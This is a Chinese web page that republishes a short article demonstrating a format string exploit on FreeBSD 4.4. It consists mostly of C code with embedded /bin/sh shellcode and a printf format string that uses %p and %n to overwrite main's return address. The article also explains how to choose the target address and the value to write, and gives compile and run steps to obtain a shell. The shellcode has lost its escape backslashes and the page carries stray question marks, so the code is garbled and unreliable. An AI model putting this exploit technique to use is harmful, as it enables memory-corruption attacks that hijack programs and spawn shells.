FreeBSD格式化字符串简单演示
发布时间:2019-12-13 06:43:44 所属栏目:MsSql教程 来源:蓝点
导读:/* simple example for printf ex on FreeBSD */ #include char shell[]= "1xc0tf_PPWWx88Gaxb0;xcdx80xe8xefxffxffxff/bin/sh"; long addr,length=shell-152; char *pc = (char *)addr; int main(int argc,char * argv[]) { long p[1]; char
/* simple example for printf ex on FreeBSD */ #include char shell[]= "1xc0tf_PPWWx88Gaxb0;xcdx80xe8xefxffxffxff/bin/sh"; long addr,length=shell-152; char *pc = (char *)&addr; int main(int argc,char * argv[]) { long p[1]; char buff[76]; addr = (long ) &p[2]; sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up ? %%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]); printf(buff);?//所有的安全问题都在这,我们就是通过这得到shell的 ^_* } 这样我们通过修改addr和length就能修改任意地址,写入任意内容 addr就是我们将要修改的地址 length+17x4+7 就是我们要填入的内容 在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . . length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell 当然你也可以指定addr为printf函数返回地址等 . . .?. gcc printfex.c -o ex ./ex >/dev/null??????#为了防止打印太多东西?从定向(要不然shell出现之前得要打印几分钟) 好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵 随便敲一个 touch /tmp/testtest exit 好了回到shell了去看看/tmp/testtest产生了没有. //说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章 //最好建议自己打开gdb来调试 //Tested on FreeBSD4.4 ??????? __ by watercloud __ (编辑:淮安站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
站长推荐
热点阅读